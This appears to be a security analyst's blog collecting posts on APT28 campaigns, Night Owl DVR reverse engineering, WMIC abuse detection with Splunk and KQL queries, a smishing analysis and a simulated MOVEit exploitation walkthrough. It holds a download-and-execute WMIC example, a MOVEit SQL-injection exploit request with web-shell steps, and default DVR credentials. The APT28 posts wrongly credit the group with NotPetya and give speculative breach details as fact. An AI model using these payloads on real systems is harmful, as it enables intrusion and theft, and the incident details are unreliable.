Author: Ben

  • APT28 Wi-Fi Nearest Neighbor Attack

    In November 2024, APT28, also known as Fancy Bear, executed a Wi-Fi breach using a technique dubbed the “Nearest Neighbor Attack.” This Russian state-sponsored group, tied to the GRU’s Unit 26165, compromised an organization’s network by exploiting a Wi-Fi connection from a nearby building. The incident was reported on X by @androidmalware2 on November 23, 2024, detailing how APT28 used a hacked laptop to infiltrate the target’s infrastructure.

    The attack began with APT28 gaining control of a laptop in a neighboring location, likely through phishing or a prior breach. Positioned within Wi-Fi range—typically 100-300 feet—they targeted the victim’s wireless network. The group employed credential stuffing, using stolen or brute-forced Wi-Fi passwords to connect. Once authenticated, they exploited weak network segmentation to access internal systems. The breach relied on physical proximity, bypassing external firewalls and VPNs that protect remote entry points.

    The target was not publicly identified but fits APT28’s profile: government agencies, defense contractors, or critical infrastructure providers. The compromised network yielded sensitive data, potentially including operational plans or classified communications. APT28 masked their activity by routing traffic through the hacked laptop and additional proxies, complicating attribution. The attack’s success hinged on the target’s failure to secure Wi-Fi with strong encryption or monitor unauthorized connections.

    Technical details show APT28 used tools to sniff Wi-Fi traffic and crack WPA2/WPA3 credentials, possibly leveraging known vulnerabilities in router firmware. The breach exposed systems running outdated protocols or unpatched software, allowing lateral movement. Data exfiltration occurred over the Wi-Fi link, with the laptop acting as a bridge to external command-and-control servers. The incident’s late reporting—November 2024—suggests it occurred earlier in the year, with details surfacing after forensic analysis.

    Mitigation requires securing Wi-Fi networks with WPA3 encryption, unique passwords, and MAC address filtering. Disabling unused wireless access points and monitoring for rogue devices can prevent similar attacks. Network segmentation limits damage post-breach, while endpoint detection tools flag suspicious activity. Physical security—ensuring Wi-Fi signals don’t leak beyond controlled areas—also matters. Organizations should audit nearby networks for compromised devices acting as entry points.

    This attack aligns with APT28’s 2024 tactics, like their NTLM relay and phishing campaigns, but adds a physical twist. Their history—2016 DNC hack, 2017 NotPetya—shows a knack for blending cyber and real-world strategies. The Nearest Neighbor Attack exploited a rare but effective vector, proving not every breach needs a zero-day. If they can park a laptop next door, your fancy cloud defenses mean squat.

    Fancy Bear’s basically your creepy neighbor with a Wi-Fi sniffer and too much time. The incident underscores APT28’s adaptability amid heightened scrutiny from U.S. and allied agencies. Recovery involved isolating the network, resetting credentials, and likely a lot of embarrassed IT meetings. Exact losses remain undisclosed, but downtime and data leaks were probable.

    Next time, maybe invest in tinfoil for the office windows—stops Wi-Fi and alien probes. This breach highlights a low-tech vulnerability in a high-tech world. Organizations must lock down wireless access or risk APT28 turning their neighbor’s guest room into a hacking hub.

  • Analyzing Night Owl Protect CMS Application Logs + Ghidra

    Analyzing the network traffic pcap led me to see that this “American” company is using a foreign (Taiwanese) P2P network and authentication infrastructure for viewing Night Owl streams via their CMS app. I don’t like it. However, it network traffic didn’t tell me why I can’t view live/recorded video playback in the Windows application. So, this requires a deepdive into the application logs. I also want to understand how the executable works and want to learn how to use Ghidra/reverse engineer more in depth.

    Application Logs

    I copied the program parent directory over to my linux machine for analysis. Navigated to ..\OprLog and found the app log files. During inspection of an entire log file, I found no errors regarding video playback. But, interestingly enough, Night Owl stores credentials in plaintext!!!

    It’s 2024, people. Can we not store creds in plaintext, please??

    But, alas, since I still did not find any ERROR messages regarding playback, it is time to dig into reverse engineering the firmware.

    Ghidra

    My DVR version is DVR-FTD4-8. I downloaded the firmware file from here: https://support.nightowlsp.com/hc/en-us/articles/13090197774747-FTD4-Series

    Next, I attempted to import the firmware bin into Ghidra, but found that I did not know the architecture. I could make an educated guess, but really had no idea what DVR systems use for processors.

    So, I attempted attach a keyboard to the device, reboot the DVR, and spam any and all the keys that would result in accessing the bootloader in order to find the specific processor architecture. But no such luck occurred.

    I ended up pulling the plug on the DVR and opening up the case.

    Unfortunately, the processor is covered with the heat sink. Next best thing is to look up the board schematics to see if there are correlating FCC documents showing specific processors. Motherboard is AHB8008T-NB-T36-OWL v1.02.

    I found an FCC document for the bluetooth chip radiation evaluation. However, this does not provide any schematics or information on the processor.

    There is no information on this specific OWL-branded board, so I queried for only AHB8008T and found that there are various security camera DVRs using this parent board. This resulted in me finding a CVE referencing this board and its manufacturer, that the manufacturer Xiongmai.

    I searched for Xiongmai plus the board name and found that it uses a Hisilicon Hi3531D:

    The above documentation explains that this processor uses ARM Cortex A9@1.4 GHz. I imported it as ARM Cortex (little endian).

    Conclusion of Part One

    I now have the firmware loaded into Ghidra. I also already have the exe and all dlls ready for import. Does the firmware contain any helpful information for me to find out why I’m experiencing the black video playback? Probably not. But I want experience in reverse engineering firmware.

    Most likely the video playback error will be found in a dll and referenced in the exe. But I am also interested in finding security vulnerabilities in this product (such as the plaintext credentials) since I use this to help secure my home. And I’m also interested in finding how much of what is being sent to foreign companies and governments (and possible adversaries). Then I want to find these devices on shodan to see if I can exploit their p2p protocol.

  • Analyzing Night Owl Protect CMS PCAP

    Home security camera systems that offer ONLY offline DVR, wired cameras on a LAN — with the capability to port forward video streams to a mobile app — are non-existent. Every single “security” company offering “security” cameras all require to connect to their companies’ cloud servers — even if their product is wired to your LAN and an offline DVR storage. I hate it. But I had to get something, so I picked up Night Owl Protect from Costco back in Summer 2023.

    The iOS app is fine. The MacOS app is fine. I hate how it has no web browser app (hate it). But the Windows app, which I presumed would work better than Apple, doesn’t work. Below are the relevant details:

    • Issue: Video playback boxes for both live and recorded video are black frames
    • OS Version: Windows 11 Pro 24H2 26100.2605
    • CMS Version: 1.0.22.T.20230912
    • Night Owl Protect Model: DVR-FTD4-8_1.2.4

    Analysis

    Wireshark PCAP

    DNS query is made to ota.no-protect.com. VirusTotal shows that this a domain associated with Night Owl in order to manage devices and your account via the browser. However, no way to view video. This DNS request responds with .kota.kalayservice.com. This refers to Kalay Developer Console (KDC)”which is a tool from TUTK that provides smart device development tools, records, and documentation.” Kalay is developed by TUTK (ThroughTek Co) to be a platform for iOT devices and cloud video management.

    During the authentication phase, the application calls out to all-c-master-NightOwl.iotcplatform.com. It is owned by ThroughTek and used for the remote access of AV streams. It is used for “punching” through NAT via the iotcplatform library in order to make it “user friendly” (hate it).

    iotcplatform, kalay, and ThroughTek are all part of the same Taiwanese (probably Chinese) company umbrella of ThroughTek Co, Ltd. IOTCPlatform is the networking infrastructure. Kalay is the P2P software infrastructure.

    Funny side note: Night Owl SP, LLC was sold in 2020 to SFP Holding, Inc. Then in 2021, BlackRock acquired a majority interest in Summit.

    I’m pretty sure I found a useful error RTSP packet. Namely an invalid sample rate of 90000 for H265 codec.

    I think the application is having a hard time running the h.265 codec, namely because there’s another RTP packet seemingly trying to enforce h.264. (Also, don’t mind the user and password in the RTSP URI. It’s only for that local client with a specific token. It’s not for the actual stream.)

    I was able to test the RTSP stream on VLC on my linux desktop. Turns out Night Owl uses the default RTSP credentials of admin:admin. And if the streamer has multiple cameras, make sure to specify channel=. You can also specify if you want video and/or audio by using stream=1 or 0 and audio=1 or 0.

    Anyways, I did check the specs on my Windows machine, and the CPU is an Intel Celeron N5095. According to Intel, it does support HEVC/h.265 via its Quick Sync Video capability. Though, there are those who have had mixed luck with the codec.

    Initial Conclusion

    I’m with you @Flintsone61. I feel ya.

    Could be H.265/HEVC related since it was working on my Windows machine, but now it’s not. Unsure. I’ll be taking a look at the application logs in part two. I did find they store credentials in plaintext, which is fun…

  • WMIC RCE Activity: Understanding Exploitation and Detection

    I’m not a Windows sysadmin — nor have I ever been. But lately some Sentinel alerts I’ve been seeing at work are WMIC RCE related.

    Windows Management Instrumentation Command-Line (WMIC) is a built-in Windows tool that allows administrators to manage systems remotely through WMI. While beneficial for legitimate use, WMIC is often exploited by attackers for RCE and lateral movement within networks. For SOC analysts, detecting and mitigating WMIC abuse is critical to maintaining network security.

    WMIC for Remote Code Execution

    WMIC can execute commands or scripts remotely using simple syntax, making it an ideal tool for attackers once they gain access to a network. By using WMIC, attackers bypass traditional executable file defenses and leverage its native status to remain under the radar.

    Example of WMIC RCE Abuse

    wmic /node:"192.168.1.100" /user:"admin" /password:"password123" process call create "powershell -ExecutionPolicy Bypass -NoProfile -Command Invoke-WebRequest -Uri http://malicioussite.com/payload.exe -OutFile payload.exe; Start-Process payload.exe"
    

    This command downloads and executes a malicious payload on the target machine, a common tactic in ransomware or advanced persistent threat (APT) scenarios.

    Detection Methods: SOC Analyst Perspective

    Both Splunk and Azure Sentinel offer robust capabilities to monitor, detect, and respond to WMIC-related threats.

    Splunk

    In Splunk, analysts can craft queries to identify anomalous WMIC usage based on Windows Event Logs and Sysmon data.

    • Important Data Sources:
      • Windows Security Logs (e.g., Event IDs 4688, 4624, 7045).
      • Sysmon logs (for detailed process creation events).
      • Network traffic logs (to detect communication with suspicious IPs).
    • Splunk Query Example:
    index=windows EventID=4688 (New_Process_Name="*\\wmic.exe") 
    | search CommandLine="*process call create*" 
    | stats count by Account_Name, ComputerName, CommandLine, ParentProcessName

    This query filters for process creation events involving wmic.exe with suspicious commands, such as process call create. SOC analysts should investigate any outputs showing unusual accounts, command lines, or originating from unexpected workstations.

    • Additional Actions in Splunk:
      • Correlate with Threat Intelligence Feeds: Check if the destination IP or URL in the WMIC command is flagged in threat intelligence.
      • Monitor Outbound Network Traffic: Identify if WMIC commands are followed by anomalous data exfiltration.

    Azure Sentinel

    Sentinel provides built-in detection rules and the ability to create custom analytics queries for WMIC abuse.

    • Important Data Sources in Sentinel:
      • Windows Security Events (via Azure Log Analytics Agent).
      • Sysmon logs (if integrated with Sentinel).
      • Defender for Endpoint data (for endpoint-level insights).
    • KQL Query Example in Sentinel:
    SecurityEvent 
    | where EventID == 4688 and NewProcessName endswith "wmic.exe" 
    | where CommandLine contains "process call create" 
    | extend AccountCustomEntity = Account 
    | extend HostCustomEntity = Computer 
    | project TimeGenerated, Account, Computer, CommandLine

    This query highlights the use of WMIC to execute remote commands. Sentinel allows analysts to integrate custom alerts with workflows using Playbooks to trigger automated responses, such as disabling the account involved or isolating the affected machine.

    • Hunting Query for Lateral Movement:
    DeviceProcessEvents 
    | where FileName == "wmic.exe" and ProcessCommandLine contains "node:"  
    | summarize count() by InitiatingProcessAccountName, DeviceName, ProcessCommandLine

    Best Practices for Defense

    • Restrict WMIC Usage:
      Use Group Policy or Local Security Policy to limit access to WMIC for administrators and critical systems only.
    • Deploy Baseline Rules:
      Configure Splunk and Sentinel to flag WMIC commands deviating from organizational baselines.
    • Automate Responses:
      Leverage Sentinel Playbooks and Splunk Phantom to automate actions like isolating hosts or alerting admins.
    • Monitor Attack Chains:
      Correlate WMIC events with other activity, such as privilege escalation or file downloads, to detect broader attack campaigns.

    Conclusion

    WMIC abuse is a common tactic among attackers, leveraging a legitimate Windows utility for malicious purposes. For SOC analysts, mastering detection techniques in Splunk and Azure Sentinel is key to mitigating this threat. Look for remote /node and process call create options.

  • KQL query to change Azure Sentinel log timestamp format

    Analysts forget that Sentinel logs output the TimeGenerated field values as UTC.

    Add this line to create a reformatted timestamp field congruent to your time zone:

    | extend FormattedTime = format_datetime(datetime_add('hour', -4, TimeGenerated), 'yyyy-MM-dd HH:mm:ss')

    Remember to change the amount value to the UTC difference for your time zone. For example, I am in the US Eastern Time Zone, which is -4.

    Now you can use the FormattedTime field string in the remainder of your query.

    https://learn.microsoft.com/en-us/kusto/query/format-datetime-function?view=microsoft-fabric
    https://learn.microsoft.com/en-us/kusto/query/datetime-add-function?view=microsoft-fabric

  • Analyst Advice: Data Flow

    New to an environment? Learn data flow.

    Veteran to an environment? See if you can draw out the data flow from memory.

    Most important thing to know as an Analyst is how data flows in your environment. Ask senior analysts or department leadership for existing documents with diagrams displaying how data/traffic ingresses and egresses to/from and within the network.

    If there is no documentation, create it yourself. This helps you learn the environment, provides knowledge share with the SOC team, and shows added value to the customer.

    1. Log into your SIEM (Splunk, Sentinel, etc.) and list all indices/schemas and data sources to understand what devices and type of data is being logged in the SIEM. This indicates the network and security solutions in place.
    2. Next, write down what resources are usually accessed in the environment and then brainstorm how a user would access that data. For example, if it’s a Confluence portal with sensitive documentation data, does the user authenticate via an external facing portal first? Or is it only internally accessible?
    3. Look at the device flow that is required for a user to authenticate, then access the data, and then to egress the data.
    4. Chart these scenarios into a Visio or PowerPoint slide to show the firewalls, proxies, AD servers, web servers, and databases used in the scenario.

    Data flow analysis allows the Analyst to see the forest from the trees and how navigation through the forest is possible. Crucial for effective incident response analysis.

  • Analyzing a Smishing Attempt

    Most days I ignore, delete, and/or block phishing emails or smishing messages. However, let’s dig into one to see what we can find.

    Phone Number

    A quick Google search shows that +63 is a Philippines country code. Hopefully this is an immediate signal that it is a phishing attempt.

    No results for the full phone number shows up anymore. Honestly, it’s probably a throw-away number.

    URL Analysis

    I put the URL into URLScan: https://urlscan.io/result/e478ca5f-d6f8-424b-b25f-afab8cc38236/

    Results show no redirections but straight to a landing page for the ezdrivema[.]com-siiiic[.]top domain.

    We can see the page is a clone of the Massachusetts’ Department of Transportation EZPass program: https://www.mass.gov/ezdrivema. Funny enough, their website is alerting against this smishing attack:

    The URLScan result shows a POST form /ezpassmalogin that is associated with the whole page whenever the user clicks on the button. However, all other links on the page lead to the legitimate MA DOT page. I’m not sure what all the javascript is doing, but it looks like it could be a “man in the middle” type scenario.

    I also tried to access the URL via AnyRun, but it could not reach it.

    VIrusTotal results are below:

    0/94, https://www.virustotal.com/gui/domain/ezdrivema.com-xiiiic.top

    5/96, https://www.virustotal.com/gui/url/28782f6b4692ca68adc1cc37ca2182ddcc10ad48fb3237aed1494b951bd1094b

    Looks like even VirusTotal returns a 404 error. I think the URLScan results are cached from when a different user scanned it before the attacker took down the domain.

    The domain was served by 47.89.248[.]140. This is a domestic geolocated IP address and owned by Alibaba cloud services. NSlookup shows that the IP serves also the following domains:

    ezdrivema[.]com-xiiiic[.]top
    ezdrivema[.]com-xiiiir[.]top
    ezdrivema[.]com-xiiiij[.]top
    ezdrivema[.]com-heeeq[.]top
    ezdrivema[.]com-xiiiif[.]top
    ezdrivema[.]com-xiiiia[.]top
    ezdrivema[.]com-heeet[.]top
    ezdrivema[.]com-xiiiin[.]top
    ezdrivema[.]com-heeec[.]top
    ezdrivema[.]com-xiiiiq[.]top
    ezdrivema[.]com-xiiiik[.]top
    ezdrivema[.]com-xiiiib[.]top
    ezdrivema[.]com-heeez[.]top
    ezdrivema[.]com-heeef[.]top
    ezdrivema[.]com-youshz[.]top
    ezdrivema[.]com-gdsgdff[.]top
    ezdrivema[.]com-youshc[.]top
    ezdrivema[.]com-guonix[.]top
    ezdrivema[.]com-youshs[.]top
    ezdrivema[.]com-gdsgdfa[.]top
    ezdrivema[.]com-gdsgdfd[.]top
    ezdrivema[.]com-guonib[.]top
    ezdrivema[.]com-youshe[.]top
    ezdrivema[.]com-gdsgdfz[.]top
    ezdrivema[.]com-guonia[.]top
    ezdrivema[.]com-guonis[.]top
    ezdrivema[.]com-gdsgdfr[.]top
    ezdrivema[.]com-youshq[.]top
    ezdrivema[.]com-guonif[.]top
    ezdrivema[.]com-guonit[.]top
    ezdrivema[.]com-gdsgdfq[.]top
    ezdrivema[.]com-gdsgdfe[.]top
    ezdrivema[.]com-guoniz[.]top
    ezdrivema[.]com-youshx[.]top
    ezdrivema[.]com-guonih[.]top
    ezdrivema[.]com-gdsgdfc[.]top

    Looks like the scammers are varying the parent domain pattern. This IP address also has a pattern of phishing websites before 2023. However, all of them also seem to be HTTP status 404.

    Conclusion

    I have a virtual sms number to be used for testing smishing attackers, but I’m not ready to pay for international texts.

    And all the domains are already down by the attacker.

  • “qUanTuM” Cyber*

    [insert mocking SpongeBob meme here]

    Alright, cyber nerds and nerdettes, let’s talk about the latest buzzword bonanza out of Virginia Tech in 2024: quantum cybersecurity. The Commonwealth Cyber Initiative (CCI) and their brainiacs have been tooting this horn all year, hyping up quantum computing like it’s the second coming of encryption. Newsflash—it’s not. I’m calling bull on the hype train, and here’s why this feels more like marketing glitter than a real game-changer.

    So, Virginia Tech’s been flexing its research muscle, leaning into quantum’s supposed promise to revolutionize cybersecurity. The pitch? Quantum computers will shred today’s encryption like wet tissue, so we need quantum-resistant algorithms yesterday. CCI’s symposiums—probably fueled by too much coffee and grant money—keep trotting out experts like Matthew McFadden from GDIT, waxing poetic about “future-proofing” Virginia’s defenses. They’re slapping “quantum” on everything, from post-quantum crypto to some vague AI tie-in, and acting like it’s already saving the world. Spoiler: it’s not.

    Let’s break this down. Quantum computing’s big trick is speed—Shor’s algorithm could, theoretically, crack RSA and ECC faster than you can say “password123.” But here’s the kicker: we’re not there yet. Today’s quantum rigs are glorified lab toys—IBM’s got 433 qubits, sure, but they’re noisy, error-prone, and nowhere near the millions of stable qubits needed to gut modern crypto. Virginia Tech’s research? It’s mostly simulations and white papers, not a working quantum firewall. Show me a practical demo that stops a ransomware punk in 2024, and I’ll eat my words.

    The skepticism’s not just me being a grouch. Quantum cybersecurity reeks of overhype because the threat’s still sci-fi, not reality. Nation-states like China might be stockpiling encrypted data for a quantum rainy day, but your average Cloak ransomware goon isn’t firing up a quantum rig—they’re phishing your dumb ass with a fake Zoom link. CCI’s pushing this narrative like quantum’s the urgent fix, yet 2024’s breaches (hi, Virginia AG!) are old-school exploits: unpatched systems, human screw-ups. Quantum’s a distraction when we can’t even nail the basics.

    And don’t get me started on the “quantum-resistant” algo hype. NIST’s been grinding on post-quantum standards since forever—CRYSTALS-Kyber, anyone?—but rolling them out? Years away. Virginia Tech’s research might nudge that along, but it’s academic flexing, not a deployable shield. Meanwhile, taxpayers foot the bill for CCI’s quantum daydreams while real threats bleed us dry. I’d rather see that cash harden Virginia’s networks against today’s hackers, not tomorrow’s maybe-problems.

    Look, props to Virginia Tech for keeping the state on the cyber map. Their CCI crew’s smart, and exploring quantum’s cool—if you’re into physics porn. But let’s cut the crap: this isn’t saving us in 2024. It’s a shiny buzzword to snag grants and headlines. Cybersecurity’s war is fought with patched servers and user smarts, not quantum fairy dust. So, Virginia Tech, love the hustle, but wake me up when your quantum gizmo stops an actual attack. Until then, I’m filing this under “Hype: Handle With Care.”

    *I’m also an idiot, so who knows. I could be completely wrong.

  • Welltok MOVEit Transfer Simulated Walkthrough

    Another classic example of a third-party breach ruining it for the rest of us.

    On 22 December 2023, the Denver-based wellness company, Welltok, sent a letter to the Attorney General of Connecticut , informing him of 847,356 CT residents’ compromised health data.

    The letter describes that the real compromise occurred in May 2023 when a Threat Actor (TA) utilized the then unknown MOVEit zero-day vulnerability to exfiltrate customer data from the file server. Sadly, there was nothing that Welltok could’ve done to mitigate an unknown zero day. Although, Welltok’s SOC or CyberInfra team (whatever it may be) could have had specific alerts for anomalous data exfiltration of sensitive data (i.e., customer PHI) from important data file servers and modification of accounts to sysadmin level privileges.

    Below is how it would’ve gone down.

    Reconnaissance (TA0043)

    TA scans the public-facing servers with various fingerprints T1595.003 — whether manually (e.g., curl -v -I command), homemade scanner bot, or premium service (i.e., Censys, Shodan, etc.). Possible fingerprints could be:

    • /human.aspx indicates Progress MOVEit Transfer login form
    • Header including Server: Progress MOVEit
    • Possible HTML title tag including MOVEit Transfer

    Initial Access (TA0001)

    Exploit Public Facing Application (T1190)

    TA sends HTTPS GET request to populate the ASP.NET_SessionId cookie in order to start a session with the server:

    $ curl -I https://moveit.example.com
    ...
    set-cookie: ASP.NET_SessionId=yxg0zv4pkpkqoobio0uoe2zf;
    ...

    Next, the TA uses a vulnerability in the MOVEitISAPI.dll to set session variables for the session:

    curl -H "xx-silock-transaction: folder_add_by_path" -H "X-siLock-Transaction: session_setvars" -I https://moveit.example.com/moveitisapi.dll?action=m2

    To explain, m2 is an action parameter in the compiled dll. When it is called, it allows for the folder_add_by_path value to be set to the X-siLock-Transaction header. However, when this header is called (X-siLock-Transaction: folder_add_by_path) ISAPI (Internet Server API) [which filters calls to the Microsoft IIS web server’s ASP.NET application] will read the header field case insensitive and within a larger string, whereas .NET requires it to be case sensitive. This means the ISAPI can pass multiple x-silock-transaction header values with the second header being the only one ready by the .NET server.

    MOVEit accepts X-SILOCK-* headers and the aforementioned dll accepts custom headers, which is what the transaction session_setvars allows. For example:

    POST /MOVEitISAPI/MOVEitISAPI.dll?action=m2 HTTP/1.1
    Host: 192.168.37.144
    Connection: close
    XX-siLock-Transaction: folder_add_by_path
    X-siLock-Transaction: session_setvars
    X-siLock-SessVar1: MyUsername: Guest
    X-siLock-SessVar2: MyPkgValidationCode: 1
    X-siLock-SessVar3: MyInstMessaging: 1
    X-siLock-SessVar4: MyGuestEmailAddr: x@example.com
    X-siLock-SessVar5: MyPkgID: 0
    X-siLock-SessVar6: MyPkgSelfProvisionedRecips: x' or 1=1) LIMIT 1; -- a
    X-siLock-SessVar7: MyPkgAccessCode: 1'; update users set notes='pwned' where loginname='sysadmin'; -- a
    Cookie: ASP.NET_SessionId=21ts1wiqbftjbjqjbrnjbuxj; siLockLongTermInstID=0
    Content-Length: 0

    In this case, the TA submits a SQL injection using the earlier Guest credentials to create new sysadmin user with admin level permissions by targeting the activesessions table.

    Finally, to maintain the session for further access, a POST request to retrieve the CSRF token. Ensure Transaction is set to dummy, Arg06 is set to anything, and Arg12 is set to promptaccesscode:

    $ curl -ski 'https://moveit.example.com/guestaccess.aspx?Transaction=dummy&Arg06=accesscode&Arg12=promptaccesscode' | grep csrf
    [...]
    <input type="hidden" name="csrftoken" value="44ad7cfa2e1a73b7a636c0bb0f9ff8d8b8e4239d">
    [...]

    Persistence (TA0003)

    Web Shell (TA1505.003)

    Once admin level permissions is achieved, the TA uploads a reverse web shell into the new sysadmin account’s API directory structure. Ensure the uploadType is set to resumable:

    POST https://moveit.example.com/api/v1/folders/{id}/files?uploadType=resumable

    The file will be encrypted in the fileupload database table, but it can be deserialized. Once done, the web shell file is ready to go.

    Conclusion

    The MOVEit Transfer attack was a complex hack that affected a lot of orgs in the Federal government and in DoD. It was not a trivial happenstance. However, I hope this helped understand it a bit more.

    For more in-depth analysis of the software and the possible exploitation path, please refer to Assetnote’s and Rapid7’s work:

    https://www.assetnote.io/resources/research/moveit-transfer-rce-part-two-cve-2023-34362

    https://attackerkb.com/topics/mXmV0YpC3W/cve-2023-34362/rapid7-analysis?referrer=etrblog

  • APT28 Recent Phishing Campaigns

    This month, APT28, also known as Fancy Bear, executed phishing campaigns targeting government agencies and non-governmental organizations across Europe, the Americas, and Asia. This Russian state-sponsored group, linked to the GRU’s Unit 26165, used counterfeit official documents to deceive victims and gain network access. The campaign was reported by The Hacker News on March 17, 2024, via an X post, highlighting APT28’s focus on espionage-driven operations.

    The attacks began with phishing emails crafted to mimic legitimate correspondence from government or organizational sources. These emails contained malicious attachments or links designed to harvest credentials or deploy malware. APT28 exploited trusted file formats—PDFs and Office documents—embedding exploits tied to vulnerabilities like CVE-2023-38831 (WinRAR) or CVE-2023-23397 (Outlook privilege escalation). Once a user interacted, the payload either stole Net-NTLMv2 hashes or installed backdoors for persistent access. The group routed traffic through compromised routers and VPNs to obscure their origin, a tactic consistent with their prior operations.

    Targets included foreign ministries, defense contractors, and NGOs involved in policy or humanitarian work. The geographic scope spanned multiple continents, with confirmed hits in NATO-aligned countries, the U.S., and parts of Southeast Asia. The stolen data encompassed diplomatic communications, strategic plans, and operational records, aligning with APT28’s espionage objectives. Exact victim counts remain undisclosed, but the campaign’s breadth suggests dozens, if not hundreds, of organizations were affected.

    APT28’s infrastructure leveraged a botnet of Ubiquiti EdgeOS routers, some of which were disrupted by the U.S. Department of Justice in February 2024. However, by March, they had adapted, using new IP ranges from data centers and residential proxies. Their phishing emails often spoofed domains via typosquatting—think “state-gov.us” instead of “state.gov”—a simple but effective trick. Delivery relied on social engineering, exploiting human error over technical zero-days.

    Mitigation steps are standard but critical. Organizations should enforce multi-factor authentication, disable legacy protocols like NTLM where feasible, and train staff to spot phishing red flags. Email filtering for suspicious attachments and domain verification can reduce exposure. Patching systems for known vulnerabilities—especially those APT28 exploits—is mandatory. Network monitoring for unusual authentication traffic helps detect post-breach activity.

    APT28’s phishing game is so basic, it’s like they’re catfishing with a stick and string—yet we’re still biting. The campaign builds on their 2024 NTLM relay attacks, showing a shift to broader, less targeted strikes. Their history—2016 DNC breach, 2017 NotPetya—proves they thrive on persistence, not sophistication. The March 17 X post noted thousands of potential email compromises, a figure dwarfing smaller 2023 efforts.

    This incident reflects APT28’s ongoing evolution amid geopolitical tensions, likely tied to Russia’s strategic interests. Affected entities reported operational disruptions, though specifics are classified or unreleased. Recovery involved isolating compromised systems and resetting credentials, a process slowed by the campaign’s scale. .Sleep well, IT crews—Fancy Bear’s got a phishing rod with your name on it.

    This campaign underscores APT28’s reliance on human gullibility over cutting-edge tech. Defenses exist, but execution lags. Organizations must prioritize user awareness and basic hygiene to counter these predictable yet effective attacks.